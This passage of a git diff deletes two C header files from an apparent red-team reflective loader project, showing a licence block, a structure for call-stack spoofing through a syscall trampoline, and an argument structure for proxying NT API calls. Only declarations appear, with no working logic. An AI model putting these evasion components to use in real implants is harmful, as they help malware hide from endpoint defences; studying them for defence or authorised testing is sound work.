WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -typedef struct _DRAUGR_PARAMETERS { - PVOID Fixup; // 0 - PVOID OriginalReturnAddress; // 8 - PVOID Rbx; // 16 - PVOID Rdi; // 24 - PVOID BaseThreadInitThunkStackSize; // 32 - PVOID BaseThreadInitThunkReturnAddress; // 40 - PVOID TrampolineStackSize; // 48 - PVOID RtlUserThreadStartStackSize; // 56 - PVOID RtlUserThreadStartReturnAddress; // 64 - PVOID Ssn; // 72 - PVOID Trampoline; // 80 - PVOID Rsi; // 88 - PVOID R12; // 96 - PVOID R13; // 104 - PVOID R14; // 112 - PVOID R15; // 120 -} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS; - -typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID); \ No newline at end of file diff --git a/udrl/src/tp.h b/udrl/src/tp.h deleted file mode 100644 index 64ef4f6..0000000 --- a/udrl/src/tp.h +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -typedef struct { - ULONG_PTR functionPtr; - ULONG_PTR argument1; - ULONG_PTR argument2; - ULONG_PTR argument3; - ULONG_PTR argument4; - ULONG_PTR argument5; - ULONG_PTR argument6; -} NTARGS; - -VOID ProxyNtApi(NTARGS * args); \ No newline at end of file